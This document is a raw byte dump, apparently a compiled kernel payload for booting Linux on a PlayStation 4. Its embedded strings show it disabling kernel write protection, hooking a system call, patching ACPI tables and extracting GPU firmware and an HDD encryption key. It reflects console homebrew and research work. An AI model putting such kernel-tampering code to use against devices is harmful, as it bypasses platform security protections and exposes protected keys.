67,24,76,137,254,186,164,129,0,0,72,137,239,72,141,136,0,1,0,0,232,10,249,255,255,72,139,75,24,72,141,53,11,25,0,0,73,139,84,36,24,72,137,239,76,139,124,36,24,232,56,251,255,255,133,192,15,132,47,3,0,0,76,137,255,72,141,53,1,14,0,0,232,70,248,255,255,76,139,13,173,28,0,0,49,192,76,141,188,36,32,1,0,0,76,137,76,36,8,232,149,252,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,184,24,0,0,76,137,255,190,64,0,0,0,49,192,65,255,209,76,137,254,72,141,61,96,24,0,0,49,192,255,21,96,28,0,0,72,139,67,48,76,137,254,186,164,129,0,0,72,137,239,72,141,136,0,1,0,0,232,111,248,255,255,72,139,75,48,72,141,53,128,24,0,0,73,139,84,36,48,72,137,239,76,139,124,36,24,232,157,250,255,255,133,192,15,132,148,2,0,0,76,137,255,72,141,53,38,13,0,0,232,171,247,255,255,76,139,13,18,28,0,0,49,192,76,141,188,36,96,1,0,0,76,137,76,36,8,232,250,251,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,46,24,0,0,76,137,255,190,64,0,0,0,49,192,65,255,209,76,137,254,72,141,61,197,23,0,0,49,192,255,21,197,27,0,0,72,139,67,56,76,137,254,186,164,129,0,0,72,137,239,72,141,136,0,1,0,0,232,212,247,255,255,72,139,75,56,72,141,53,247,23,0,0,73,139,84,36,56,72,137,239,76,139,124,36,24,232,2,250,255,255,133,192,15,132,249,1,0,0,76,137,255,72,141,53,139,12,0,0,232,16,247,255,255,76,139,13,119,27,0,0,49,192,76,141,188,36,160,1,0,0,76,137,76,36,8,232,95,251,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,166,23,0,0,190,64,0,0,0,76,137,255,49,192,65,255,209,76,137,254,72,141,61,42,23,0,0,49,192,255,21,42,27,0,0,72,139,3,186,164,129,0,0,76,137,254,72,137,239,72,141,136,0,1,0,0,232,58,247,255,255,72,139,11,72,141,53,112,23,0,0,73,139,20,36,72,137,239,232,211,249,255,255,133,192,15,132,102,1,0,0,76,139,13,243,26,0,0,49,192,76,141,188,36,224,1,0,0,76,137,76,36,8,232,219,250,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,51,23,0,0,190,64,0,0,0,76,137,255,49,192,65,255,209,76,137,254,72,141,61,166,22,0,0,49,192,255,21,166,26,0,0,72,139,67,8,186,164,129,0,0,76,137,254,72,137,239,72,141,136,0,1,0,0,232,181,246,255,255,72,139,75,8,69,49,192,73,139,84,36,8,72,141,53,244,22,0,0,72,137,239,232,175,249,255,255,133,192,15,132,220,0,0,0,49,201,186,164,129,0,0,72,141,53,219,22,0,0,72,137,239,232,124,246,255,255,76,139,13,83,26,0,0,49,192,76,141,188,36,32,2,0,0,76,137,76,36,8,232,59,250,255,255,76,139,76,36,8,76,137,233,73,137,192,72,141,21,177,22,0,0,190,64,0,0,0,76,137,255,49,192,65,255,209,76,137,254,72,141,61,6,22,0,0,49,192,255,21,6,26,0,0,72,139,67,16,186,164,129,0,0,76,137,254,72,137,239,72,141,136,0,1,0,0,232,21,246,255,255,72,139,75,16,65,184,1,0,0,0,73,139,84,36,16,72,141,53,112,22,0,0,72,137,239,232,12,249,255,255,133,192,116,61,49,201,186,164,129,0,0,72,141,53,60,22,0,0,72,137,239,232,221,245,255,255,72,139,68,36,24,76,41,240,72,61,112,128,1,0,118,27,72,137,198,186,112,128,1,0,72,141,61,53,22,0,0,49,192,255,21,140,25,0,0,72,131,200,255,72,129,196,104,2,0,0,91,93,65,92,65,93,65,94,65,95,195,72,137,248,49,201,72,57,209,116,13,64,138,60,14,64,136,60,8,72,255,193,235,238,195,198,71,9,0,139,79,4,49,210,49,192,57,209,118,8,2,4,23,72,255,194,235,244,247,216,136,71,9,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,141,135,0,128,0,0,72,131,236,72,72,137,4,36,72,137,253,72,137,243,49,192,198,132,5,0,128,0,0,0,72,255,192,72,61,0,128,0,0,117,237,72,137,234,72,137,222,72,141,61,194,21,0,0,49,192,255,21,244,24,0,0,72,139,60,36,185,9,0,0,0,72,137,238,243,165,72,141,133,36,128,0,0,72,141,61,193,21,0,0,72,137,68,36,48,49,192,69,49,255,69,49,237,139,181,16,128,0,0,255,21,191,24,0,0,72,139,181,24,128,0,0,72,141,61,168,21,0,0,49,192,255,21,169,24,0,0,68,139,181,16,128,0,0,72,141,189,36,128,0,0,73,41,222,74,141,68,53,0,139,80,4,72,137,198,72,137,68,36,8,232,13,255,255,255,139,133,16,128,0,0,72,137,238,72,41,222,72,3,181,24,128,0,0,137,92,36,36,72,41,216,139,68,5,4,72,3,68,36,48,139,86,4,72,137,68,36,16,141,67,36,137,133,16,128,0,0,72,139,68,36,16,72,131,192,48,72,137,199,72,137,68,36,24,232,195,254,255,255,72,139,133,24,128,0,0,72,41,216,139,84,5,4,72,139,68,36,24,72,43,4,36,72,1,216,72,137,133,24,128,0,0,72,139,68,36,24,76,141,116,16,96,72,139,68,36,8,139,64,4,72,131,232,36,72,193,232,2,72,137,68,36,40,139,68,36,40,137,68,36,60,68,57,124,36,60,15,142,114,1,0,0,72,139,68,36,8,72,141,61,225,20,0,0,70,139,100,184,36,68,137,100,36,56,73,41,220,73,1,236,68,139,76,36,56,65,139,4,36,137,193,15,182,212,193,233,16,15,182,240,193,232,24,15,182,201,65,137,192,49,192,255,21,165,23,0,0,65,139,4,36,61,70,65,67,80,116,12,61,83,83,68,84,116,119,233,206,0,0,0,65,139,116,36,36,72,141,61,155,20,0,0,49,192,255,21,122,23,0,0,65,139,116,36,40,72,141,61,149,20,0,0,49,192,255,21,102,23,0,0,65,139,116,36,36,76,137,247,186,64,0,0,0,77,141,110,64,72,41,222,72,1,238,232,212,253,255,255,65,139,84,36,4,76,137,230,76,137,239,232,196,253,255,255,76,137,240,72,43,4,36,65,139,84,36,4,3,68,36,36,73,141,116,21,56,65,137,70,100,77,137,238,235,116,77,133,237,116,72,65,139,117,40,73,129,198,240,0,0,0,76,137,247,72,41,222,72,1,238,139,86,4,232,133,253,255,255,65,139,69,40,76,137,239,72,41,216,139,84,5,4,76,137,240,72,43,4,36,3,68,36,36,77,141,180,22,116,1,0,0,65,137,69,40,232,115,253,255,255,235,15,72,141,61,253,19,0,0,49,192,255,21,192,22,0,0,65,139,84,36,4,76,137,230,76,137,247,232,58,253,255,255,65,139,116,36,4,76,1,246,76,137,247,232,66,253,255,255,77,137,242,76,43,20,36,68,3,84,36,36,73,137,246,72,139,68,36,16,68,137,209,70,137,148,189,72,128,0,0,74,137,76,248,84,73,255,199,233,131,254,255,255,131,124,36,40,0,65,184,0,0,0,0,76,137,246,68,15,73,68,36,40,72,43,52,36,72,139,76,36,16,73,99,192,65,255,192,1,243,137,156,133,72,128,0,0,72,137,92,193,84,49,192,65,198,4,6,0,72,255,192,72,131,248,84,117,242,72,184,73,86,82,83,84,0,0,0,65,198,70,8,1,73,137,6,73,141,126,10,186,6,0,0,0,72,141,53,91,19,0,0,232,150,252,255,255,73,141,126,16,186,8,0,0,0,72,141,53,77,19,0,0,232,129,252,255,255,65,199,70,24,37,18,22,32,186,4,0,0,0,73,141,126,28,72,141,53,57,19,0,0,232,100,252,255,255,72,184,37,18,22,32,64,48,32,0,65,199,70,80,4,167,0,0,73,137,70,32,72,184,16,40,36,0,2,0,64,0,73,137,70,48,184,0,0,0,252,73,137,70,56,184,1,36,0,4,72,193,224,37,76,137,247,73,137,70,64,72,184,2,160,0,48,3,161,0,0,73,137,70,72,232,44,252,255,255,72,139,92,36,16,77,141,86,84,66,141,4,133,36,0,0,0,137,133,40,128,0,0,66,141,4,197,36,0,0,0,49,210,137,67,52,49,192,198,133,32,128,0,0,0,198,133,8,128,0,0,0,2,132,21,0,128,0,0,72,255,194,72,131,250,20,117,240,247,216,49,210,136,133,8,128,0,0,49,192,2,132,21,0,128,0,0,72,255,194,72,131,250,36,117,240,247,216,72,139,124,36,48,136,133,32,128,0,0,232,186,251,255,255,72,139,124,36,24,232,176,251,255,255,72,139,52,36,72,137,239,76,137,210,72,43,20,36,72,131,196,72,91,93,65,92,65,93,65,94,65,95,233,119,251,255,255,243,15,30,250,131,200,255,131,255,4,137,249,119,15,184,1,0,0,0,137,194,211,226,137,209,211,224,255,200,195,243,15,30,250,72,139,53,188,20,0,0,72,9,254,138,70,2,168,1,116,6,131,224,254,136,70,2,15,182,126,2,102,209,239,131,231,7,232,184,255,255,255,137,70,16,195,243,15,30,250,137,248,76,141,5,228,6,0,0,247,208,49,255,72,57,250,116,21,15,182,12,62,72,255,199,49,193,193,232,8,15,182,201,65,51,4,136,235,230,247,208,195,15,32,192,72,137,194,72,129,226,255,255,254,255,15,34,194,195,15,32,192,129,231,0,0,1,0,72,9,199,15,34,199,195,243,15,30,250,83,72,137,251,72,139,5,107,20,0,0,106,6,73,131,200,255,106,0,49,201,186,2,1,0,0,72,137,222,72,139,56,65,185,1,0,0,0,255,21,90,20,0,0,72,137,198,88,72,133,246,90,116,206,72,139,61,65,20,0,0,255,21,83,20,0,0,91,72,11,5,251,19,0,0,195,243,15,30,250,72,133,255,72,137,242,116,19,72,139,5,23,20,0,0,72,137,254,72,139,56,255,37,35,20,0,0,195,243,15,30,250,72,133,246,15,132,217,0,0,0,65,84,85,83,72,137,253,72,131,236,16,72,133,255,15,132,186,0,0,0,72,137,242,49,192,72,137,243,72,137,254,72,141,61,14,17,0,0,255,21,169,19,0,0,72,133,237,120,65,72,141,61,25,17,0,0,49,192,255,21,149,19,0,0,72,137,238,72,141,61,61,17,0,0,49,192,255,21,131,19,0,0,72,141,61,80,17,0,0,49,192,255,21,116,19,0,0,72,141,61,116,17,0,0,49,192,255,21,101,19,0,0,235,92,255,21,189,19,0,0,49,192,232,227,254,255,255,72,141,61,139,17,0,0,73,137,196,49,192,255,21,68,19,0,0,102,199,68,36,2,255,37,49,192,199,68,36,4,0,0,0,0,72,137,108,36,8,138,84,4,2,136,20,3,72,255,192,72,131,248,14,117,240,15,9,76,137,231,232,178,254,255,255,255,21,118,19,0,0,184,1,0,0,0,235,2,49,192,72,131,196,16,91,93,65,92,195,49,192,195,243,15,30,250,65,84,85,83,72,99,223,72,107,219,48,72,137,245,65,137,212,72,3,29,53,19,0,0,255,21,55,19,0,0,49,192,232,93,254,255,255,49,201,72,137,199,198,4,11,0,72,255,193,72,131,249,48,117,243,68,137,35,72,137,107,8,199,67,44,1,0,0,0,232,73,254,255,255,91,93,65,92,255,37,9,19,0,0,243,15,30,250,65,84,72,129,231,0,192,255,255,76,141,166,255,63,0,0,85,73,129,228,0,192,255,255,83,72,137,253,137,211,137,209,72,137,254,76,137,226,72,141,61,201,16,0,0,49,192,255,21,104,18,0,0,15,182,203,76,137,226,91,72,137,238,72,139,61,135,18,0,0,93,65,92,255,37,158,18,0,0,243,15,30,250,72,133,255,85,83,81,116,7,72,137,61,11,18,0,0,72,139,21,4,18,0,0,72,133,210,116,11,72,141,61,161,16,0,0,49,192,255,210,72,139,21,237,17,0,0,72,133,210,15,132,35,2,0,0,72,141,178,208,133,244,255,247,198,255,63,0,0,72,137,53,240,17,0,0,116,16,72,141,61,127,16,0,0,49,192,255,210,233,253,1,0,0,49,192,72,141,61,137,16,0,0,255,210,72,139,5,204,17,0,0,72,139,21,165,17,0,0,139,176,164,4,185,1,139,128,168,4,185,1,72,193,230,39,72,193,224,30,72,9,198,184,255,255,1,0,72,193,224,47,72,9,198,72,133,210,72,137,53,160,17,0,0,116,11,72,141,61,87,16,0,0,49,192,255,210,156,91,250,49,192,232,30,253,255,255,72,199,5,14,18,0,0,0,0,0,0,72,137,197,72,139,5,108,17,0,0,72,141,144,48,122,11,0,72,141,136,48,125,11,0,72,137,21,103,17,0,0,72,137,21,48,17,0,0,72,141,144,160,22,39,0,72,137,21,98,17,0,0,72,141,144,176,21,39,0,72,137,13,76,17,0,0,72,141,136,240,208,28,0,72,137,21,78,17,0,0,72,141,144,80,27,39,0,72,137,21,72,17,0,0,72,141,144,72,141,38,2,72,137,13,130,17,0,0,72,141,136,240,43,67,0,72,137,21,52,17,0,0,72,141,144,176,4,185,1,72,137,13,110,17,0,0,72,141,136,0,42,67,0,72,137,21,32,17,0,0,72,141,144,128,8,39,0,72,137,13,90,17,0,0,72,141,136,96,23,46,0,72,137,21,12,17,0,0,72,141,144,64,192,55,0,72,137,13,70,17,0,0,72,141,136,96,194,74,0,72,137,21,248,16,0,0,72,141,144,80,208,18,0,72,137,13,58,17,0,0,72,141,136,128,242,77,0,72,137,21,228,16,0,0,72,141,144,240,225,18,0,72,137,13,38,17,0,0,72,141,136,144,76,108,2,72,137,21,208,16,0,0,72,141,144,16,3,16,1,72,137,13,18,17,0,0,72,141,136,88,192,116,2,72,137,21,188,16,0,0,72,141,144,208,208,28,0,72,137,13,254,16,0,0,72,141,136,96,8,24,0,72,5,128,163,41,0,72,137,21,162,16,0,0,72,137,13,235,16,0,0,72,137,5,236,16,0,0,255,210,72,141,61,251,14,0,0,49,192,255,21,35,16,0,0,72,141,61,34,15,0,0,49,192,199,5,208,16,0,0,1,0,0,0,255,21,10,16,0,0,72,141,61,14,15,0,0,49,192,255,21,251,15,0,0,72,137,239,232,145,251,255,255,83,157,90,49,192,91,93,195,0,0,0,3,0,0,0,121,0,0,0,0,0,0,0,0,0,0,0,245,254,255,111,0,0,0,0,96,54,0,0,0,0,0,0,5,0,0,0,0,0,0,0,88,54,0,0,0,0,0,0,6,0,0,0,0,0,0,0,64,54,0,0,0,0,0,0,10,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,11,0,0,0,0,0,0,0,24,0,0,0,0,0,0,0,21,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,30,0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,251,255,255,111,0,0,0,0,1,0,0,8,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,18,220,0,64,20,49,9,0,64,149,12,0,60,196,0,0,3,220,43,0,0,204,13,0,60,204,126,0,36,196,0,0,64,150,1,128,64,124,0,0,0,136,127,0,64,212,1,128,64,124,0,0,0,136,0,0,0,0,0,0,0,0,0,0,18,220,0,64,20,49,9,0,64,149,12,0,32,196,0,0,3,220,47,0,0,204,18,0,32,204,126,0,36,196,0,0,64,150,1,128,64,124,0,0,0,136,127,0,64,212,1,128,64,124,0,0,0,136,0,0,0,0,0,0,0,0,0,0,18,220,0,64,20,49,9,0,64,149,22,0,32,196,0,0,3,220,73,0,0,204,19,0,32,204,126,0,36,196,0,0,64,150,1,128,64,124,0,0,0,136,127,0,64,212,1,128,64,124,0,0,0,136,0,0,0,0,0,0,0,0,0,32,0,0,0,0,0,0,104,16,0,0,0,0,0,0,104,16,0,0,0,0,0,0,128,33,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,0,24,0,0,0,0,0,0,104,16,0,0,0,0,0,0,104,16,0,0,0,0,0,0,128,33,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,128,65,0,0,0,0,0,0,0,0,0,0,150,48,7,119,44,97,14,238,186,81,9,153,25,196,109,7,143,244,106,112,53,165,99,233,163,149,100,158,50,136,219,14,164,184,220,121,30,233,213,224,136,217,210,151,43,76,182,9,189,124,177,126,7,45,184,231,145,29,191,144,100,16,183,29,242,32,176,106,72,113,185,243,222,65,190,132,125,212,218,26,235,228,221,109,81,181,212,244,199,133,211,131,86,152,108,19,192,168,107,100,122,249,98,253,236,201,101,138,79,92,1,20,217,108,6,99,99,61,15,250,245,13,8,141,200,32,110,59,94,16,105,76,228,65,96,213,114,113,103,162,209,228,3,60,71,212,4,75,253,133,13,210,107,181,10,165,250,168,181,53,108,152,178,66,214,201,187,219,64,249,188,172,227,108,216,50,117,92,223,69,207,13,214,220,89,61,209,171,172,48,217,38,58,0,222,81,128,81,215,200,22,97,208,191,181,244,180,33,35,196,179,86,153,149,186,207,15,165,189,184,158,184,2,40,8,136,5,95,178,217,12,198,36,233,11,177,135,124,111,47,17,76,104,88,171,29,97,193,61,45,102,182,144,65,220,118,6,113,219,1,188,32,210,152,42,16,213,239,137,133,177,113,31,181,182,6,165,228,191,159,51,212,184,232,162,201,7,120,52,249,0,15,142,168,9,150,24,152,14,225,187,13,106,127,45,61,109,8,151,108,100,145,1,92,99,230,244,81,107,107,98,97,108,28,216,48,101,133,78,0,98,242,237,149,6,108,123,165,1,27,193,244,8,130,87,196,15,245,198,217,176,101,80,233,183,18,234,184,190,139,124,136,185,252,223,29,221,98,73,45,218,21,243,124,211,140,101,76,212,251,88,97,178,77,206,81,181,58,116,0,188,163,226,48,187,212,65,165,223,74,215,149,216,61,109,196,209,164,251,244,214,211,106,233,105,67,252,217,110,52,70,136,103,173,208,184,96,218,115,45,4,68,229,29,3,51,95,76,10,170,201,124,13,221,60,113,5,80,170,65,2,39,16,16,11,190,134,32,12,201,37,181,104,87,179,133,111,32,9,212,102,185,159,228,97,206,14,249,222,94,152,201,217,41,34,152,208,176,180,168,215,199,23,61,179,89,129,13,180,46,59,92,189,183,173,108,186,192,32,131,184,237,182,179,191,154,12,226,182,3,154,210,177,116,57,71,213,234,175,119,210,157,21,38,219,4,131,22,220,115,18,11,99,227,132,59,100,148,62,106,109,13,168,90,106,122,11,207,14,228,157,255,9,147,39,174,0,10,177,158,7,125,68,147,15,240,210,163,8,135,104,242,1,30,254,194,6,105,93,87,98,247,203,103,101,128,113,54,108,25,231,6,107,110,118,27,212,254,224,43,211,137,90,122,218,16,204,74,221,103,111,223,185,249,249,239,190,142,67,190,183,23,213,142,176,96,232,163,214,214,126,147,209,161,196,194,216,56,82,242,223,79,241,103,187,209,103,87,188,166,221,6,181,63,75,54,178,72,218,43,13,216,76,27,10,175,246,74,3,54,96,122,4,65,195,239,96,223,85,223,103,168,239,142,110,49,121,190,105,70,140,179,97,203,26,131,102,188,160,210,111,37,54,226,104,82,149,119,12,204,3,71,11,187,185,22,2,34,47,38,5,85,190,59,186,197,40,11,189,178,146,90,180,43,4,106,179,92,167,255,215,194,49,207,208,181,139,158,217,44,29,174,222,91,176,194,100,155,38,242,99,236,156,163,106,117,10,147,109,2,169,6,9,156,63,54,14,235,133,103,7,114,19,87,0,5,130,74,191,149,20,122,184,226,174,43,177,123,56,27,182,12,155,142,210,146,13,190,213,229,183,239,220,124,33,223,219,11,212,210,211,134,66,226,212,241,248,179,221,104,110,131,218,31,205,22,190,129,91,38,185,246,225,119,176,111,119,71,183,24,230,90,8,136,112,106,15,255,202,59,6,102,92,11,1,17,255,158,101,143,105,174,98,248,211,255,107,97,69,207,108,22,120,226,10,160,238,210,13,215,84,131,4,78,194,179,3,57,97,38,103,167,247,22,96,208,77,71,105,73,219,119,110,62,74,106,209,174,220,90,214,217,102,11,223,64,240,59,216,55,83,174,188,169,197,158,187,222,127,207,178,71,233,255,181,48,28,242,189,189,138,194,186,202,48,147,179,83,166,163,180,36,5,54,208,186,147,6,215,205,41,87,222,84,191,103,217,35,46,122,102,179,184,74,97,196,2,27,104,93,148,43,111,42,55,190,11,180,161,142,12,195,27,223,5,90,141,239,2,45,115,121,115,95,107,101,120,101,99,32,105,110,118,111,107,101,100,10,0,115,121,115,95,107,101,120,101,99,40,37,112,44,32,37,122,117,44,32,37,112,44,32,37,122,117,44,32,34,37,115,34,41,10,0,70,97,105,108,101,100,32,116,111,32,97,108,108,111,99,97,116,101,32,105,109,97,103,101,10,0,70,97,105,108,101,100,32,116,111,32,99,111,112,121,32,105,110,32,105,109,97,103,101,10,0,70,97,105,108,101,100,32,116,111,32,97,108,108,111,99,97,116,101,32,105,110,105,116,114,97,109,102,115,10,0,70,97,105,108,101,100,32,116,111,32,101,120,116,114,97,99,116,32,71,80,85,32,102,105,114,109,119,97,114,101,32,45,32,99,111,110,116,105,110,117,105,110,103,32,97,110,121,119,97,121,10,0,70,97,105,108,101,100,32,116,111,32,99,111,112,121,32,105,110,32,105,110,105,116,114,97,109,102,115,10,0,70,97,105,108,101,100,32,116,111,32,97,108,108,111,99,97,116,101,32,99,109,100,108,105,110,101,10,0,70,97,105,108,101,100,32,116,111,32,99,111,112,121,32,105,110,32,99,109,100,108,105,110,101,10,0,10,107,101,120,101,99,32,112,97,114,97,109,101,116,101,114,115,58,10,0,32,32,32,32,75,101,114,110,101,108,32,105,109,97,103,101,32,115,105,122,101,58,32,32,32,37,122,117,32,98,121,116,101,115,10,0,32,32,32,32,73,110,105,116,114,97,109,102,115,32,115,105,122,101,58,32,32,32,32,32,32,37,122,117,32,98,121,116,101,115,32,40,37,122,117,32,102,114,111,109,32,117,115,101,114,41,10,0,32,32,32,32,75,101,114,110,101,108,32,99,111,109,109,97,110,100,32,108,105,110,101,58,32,37,115,10,0,32,32,32,32,75,101,114,110,101,108,32,105,109,97,103,101,32,98,117,102,102,101,114,58,32,37,112,10,0,32,32,32,32,73,110,105,116,114,97,109,102,115,32,98,117,102,102,101,114,58,32,32,32,32,37,112,10,0,70,97,105,108,101,100,32,116,111,32,97,108,108,111,99,97,116,101,32,98,112,10,0,70,97,105,108,101,100,32,116,111,32,105,110,115,116,97,108,108,32,115,104,117,116,100,111,119,110,32,104,111,111,107,10,0,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,10,0,107,101,120,101,99,32,115,117,99,99,101,115,115,102,117,108,108,121,32,97,114,109,101,100,46,32,80,108,101,97,115,101,32,115,104,117,116,32,100,111,119,110,32,116,104,101,32,115,121,115,116,101,109,46,10,0,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,42,10,10,0,73,110,115,116,97,108,108,105,110,103,32,115,121,115,95,107,101,120,101,99,32,116,111,32,115,121,115,116,101,109,32,99,97,108,108,32,35,37,100,10,0,107,101,120,101,99,95,105,110,105,116,40,41,32,115,117,99,99,101,115,115,102,117,108,10,10,0,107,101,120,101,99,58,32,87,97,105,116,105,110,103,32,102,111,114,32,115,101,99,111,110,100,97,114,121,32,67,80,85,115,46,46,46,10,0,107,101,120,101,99,58,32,83,101,99,111,110,100,97,114,121,32,67,80,85,115,32,113,117,105,101,115,99,101,100,10,0,107,101,120,101,99,58,32,83,101,116,116,105,110,103,32,117,112,32,71,68,84,46,46,46,10,0,107,101,120,101,99,58,32,82,101,108,111,99,97,116,105,110,103,32,115,116,117,98,46,46,46,10,0,107,101,120,101,99,58,32,83,101,116,116,105,110,103,32,117,112,32,98,111,111,116,32,112,97,114,97,109,115,46,46,46,10,0,107,101,120,101,99,58,32,67,108,101,97,110,105,110,103,32,117,112,32,104,97,114,100,119,97,114,101,46,46,46,10,0,107,101,120,101,99,58,32,82,101,99,111,110,102,105,103,117,114,105,110,103,32,86,82,65,77,46,46,46,10,0,107,101,120,101,99,58,32,82,101,115,101,116,116,105,110,103,32,71,80,85,46,46,46,10,0,107,101,120,101,99,58,32,65,98,111,117,116,32,116,111,32,114,101,108,111,99,97,116,101,32,97,110,100,32,106,117,109,112,32,116,111,32,107,101,114,110,101,108,10,0,107,101,120,101,99,58,32,117,110,114,101,97,99,104,97,98,108,101,32,40,63,41,10,0,104,111,111,107,95,105,99,99,95,113,117,101,114,121,95,110,111,119,97,105,116,32,99,97,108,108,101,100,10,0,65,67,80,73,32,116,97,98,108,101,115,32,102,105,120,101,100,10,0,104,111,111,107,95,105,99,99,95,113,117,101,114,121,95,110,111,119,97,105,116,58,32,117,110,114,101,97,99,104,97,98,108,101,32,40,63,41,10,0,78,79,80,32,104,97,110,100,108,101,114,32,97,116,32,48,120,37,120,10,0,48,55,48,55,48,49,0,67,111,112,121,105,110,103,32,37,115,32,102,105,114,109,119,97,114,101,10,0,99,111,112,121,95,102,105,114,109,119,97,114,101,58,32,37,115,58,32,101,120,112,101,99,116,101,100,32,115,105,122,101,32,37,100,44,32,103,111,116,32,37,100,10,0,108,105,118,101,114,112,111,111,108,0,103,108,97,100,105,117,115,0,102,105,114,109,119,97,114,101,95,101,120,116,114,97,99,116,58,32,67,111,117,108,100,32,110,111,116,32,108,111,99,97,116,101,32,102,105,114,109,119,97,114,101,32,116,97,98,108,101,0,107,101,121,0,107,101,121,47,101,97,112,95,104,100,100,95,107,101,121,46,98,105,110,0,108,105,98,0,108,105,98,47,102,105,114,109,119,97,114,101,0,108,105,98,47,102,105,114,109,119,97,114,101,47,101,100,105,100,0,108,105,98,47,102,105,114,109,119,97,114,101,47,101,100,105,100,47,109,121,95,101,100,105,100,46,98,105,110,0,97,109,100,103,112,117,0,108,105,98,47,102,105,114,109,119,97,114,101,47,37,115,47,0,37,115,37,115,95,112,102,112,46,98,105,110,0,102,105,114,109,119,97,114,101,95,101,120,116,114,97,99,116,58,32,69,120,116,114,97,99,116,32,37,115,32,10,0,80,70,80,0,37,115,37,115,95,109,101,46,98,105,110,0,77,69,0,37,115,37,115,95,99,101,46,98,105,110,0,67,69,0,37,115,37,115,95,109,101,99,46,98,105,110,0,77,69,67,0,37,115,37,115,95,109,101,99,50,46,98,105,110,0,77,69,67,50,0,37,115,37,115,95,114,108,99,46,98,105,110,0,82,76,67,0,37,115,37,115,95,115,100,109,97,46,98,105,110,0,83,68,77,65,0,84,82,65,73,76,69,82,33,33,33,0,37,115,37,115,95,115,100,109,97,49,46,98,105,110,0,83,68,77,65,49,0,102,105,114,109,119,97,114,101,95,101,120,116,114,97,99,116,58,32,111,118,101,114,102,108,111,119,33,32,37,100,32,62,32,37,100,10,0,70,105,120,105,110,103,32,65,67,80,73,32,116,97,98,108,101,115,32,97,116,32,48,120,37,108,108,120,32,40,37,112,41,10,0,82,83,68,84,32,97,116,32,48,120,37,120,10,0,88,83,68,84,32,97,116,32,48,120,37,108,108,120,10,0,37,99,37,99,37,99,37,99,32,97,116,32,48,120,37,120,10,0,70,65,67,83,32,97,116,32,48,120,37,120,10,0,68,83,68,84,32,97,116,32,48,120,37,120,10,0,69,82,82,79,82,58,32,110,111,32,70,65,68,84,32,121,101,116,63,10,0,70,48,70,32,32,32,0,80,83,52,75,69,88,69,67,0,75,69,88,67,0,107,101,114,110,101,108,95,104,111,111,107,95,105,110,115,116,97,108,108,40,37,112,44,32,37,112,41,10,0,10,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,32,87,65,82,78,73,78,71,32,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,10,0,104,111,111,107,32,116,97,114,103,101,116,32,102,117,110,99,116,105,111,110,32,97,100,100,114,101,115,115,58,32,37,112,10,0,73,116,32,108,111,111,107,115,32,108,105,107,101,32,119,101,39,114,101,32,114,117,110,110,105,110,103,32,102,114,111,109,32,117,115,101,114,108,97,110,100,32,109,101,109,111,114,121,46,10,0,80,108,101,97,115,101,32,114,117,110,32,116,104,105,115,32,99,111,100,101,32,102,114,111,109,32,97,32,107,101,114,110,101,108,32,109,101,109,111,114,121,32,109,97,112,112,105,110,103,46,10,10,0,32,32,85,115,105,110,103,32,54,52,98,105,116,32,97,98,115,111,108,117,116,101,32,106,117,109,112,10,0,112,109,97,112,95,112,114,111,116,101,99,116,40,112,109,97,112,44,32,37,112,44,32,37,112,44,32,37,100,41,10,0,107,101,114,110,101,108,95,105,110,105,116,40,41,10,0,75,101,114,110,101,108,32,98,97,115,101,32,105,115,32,110,111,116,32,97,108,105,103,110,101,100,10,0,75,101,114,110,101,108,32,98,97,115,101,32,61,32,37,108,108,120,10,0,68,105,114,101,99,116,32,109,97,112,32,98,97,115,101,32,61,32,37,108,108,120,10,0,84,101,115,116,105,110,103,32,103,108,111,98,97,108,32,118,97,114,105,97,98,108,101,32,97,99,99,101,115,115,32,40,119,114,105,116,101,32,112,114,111,116,101,99,116,105,111,110,41,46,46,46,10,0,79,75,46,10,0,75,101,114,110,101,108,32,105,110,116,101,114,102,97,99,101,32,105,110,105,116,105,97,108,105,122,101,100,10,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,